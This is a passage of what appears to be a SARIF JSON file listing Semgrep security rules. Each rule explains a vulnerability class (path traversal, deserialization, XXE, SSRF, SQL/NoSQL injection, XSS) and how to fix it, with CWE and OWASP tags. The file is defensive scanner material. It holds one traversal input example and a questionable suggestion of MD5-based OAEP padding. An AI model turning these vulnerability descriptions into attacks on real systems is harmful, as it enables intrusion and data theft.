set"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","id":"terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","name":"terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application."},"help":{"markdown":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.res-render-injection.res-render-injection)\n - [http://expressjs.com/en/4x/api.html#res.render](http://expressjs.com/en/4x/api.html#res.render)\n","text":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.res-render-injection.res-render-injection","id":"javascript.express.security.audit.res-render-injection.res-render-injection","name":"javascript.express.security.audit.res-render-injection.res-render-injection","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.res-render-injection.res-render-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","id":"kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","name":"kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pickle-django.tainted-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pickle-django.tainted-pickle-django","id":"python.django.deserialization.tainted-pickle-django.tainted-pickle-django","name":"python.django.deserialization.tainted-pickle-django.tainted-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pickle-django.tainted-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot."},"help":{"markdown":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.storage.storage-protections.swift-data-protection)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n","text":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot."},"helpUri":"https://semgrep.dev/r/swift.lang.storage.storage-protections.swift-data-protection","id":"swift.lang.storage.storage-protections.swift-data-protection","name":"swift.lang.storage.storage-protections.swift-data-protection","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.storage.storage-protections.swift-data-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","id":"csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","name":"csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead."},"help":{"markdown":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.rsa-padding-set.rsa-padding-set)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.rsa-padding-set.rsa-padding-set","id":"scala.lang.security.audit.rsa-padding-set.rsa-padding-set","name":"scala.lang.security.audit.rsa-padding-set.rsa-padding-set","properties":{"precision":"very-high","tags":["CWE-780: Use of RSA Algorithm without OAEP","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.rsa-padding-set.rsa-padding-set"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.secure-false.secure-false)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.secure-false.secure-false","id":"csharp.lang.audit.cookies.secure-false.secure-false","name":"csharp.lang.audit.cookies.secure-false.secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.secure-false.secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","id":"go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","name":"go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true."},"help":{"markdown":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.force-ssl-false.force-ssl-false)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_force_ssl.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_force_ssl.rb)\n","text":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.force-ssl-false.force-ssl-false","id":"ruby.lang.security.force-ssl-false.force-ssl-false","name":"ruby.lang.security.force-ssl-false.force-ssl-false","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.force-ssl-false.force-ssl-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","id":"csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","name":"csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","id":"java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","name":"java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","id":"yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","name":"yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script)\n - [https://brightsec.com/blog/cross-site-scripting-php/](https://brightsec.com/blog/cross-site-scripting-php/)\n - [https://github.com/tolgadevsec/PHP-Security-Cheatsheet#cross-site-scripting](https://github.com/tolgadevsec/PHP-Security-Cheatsheet#cross-site-scripting)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","id":"php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","name":"php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","id":"python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","name":"python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask)\n - 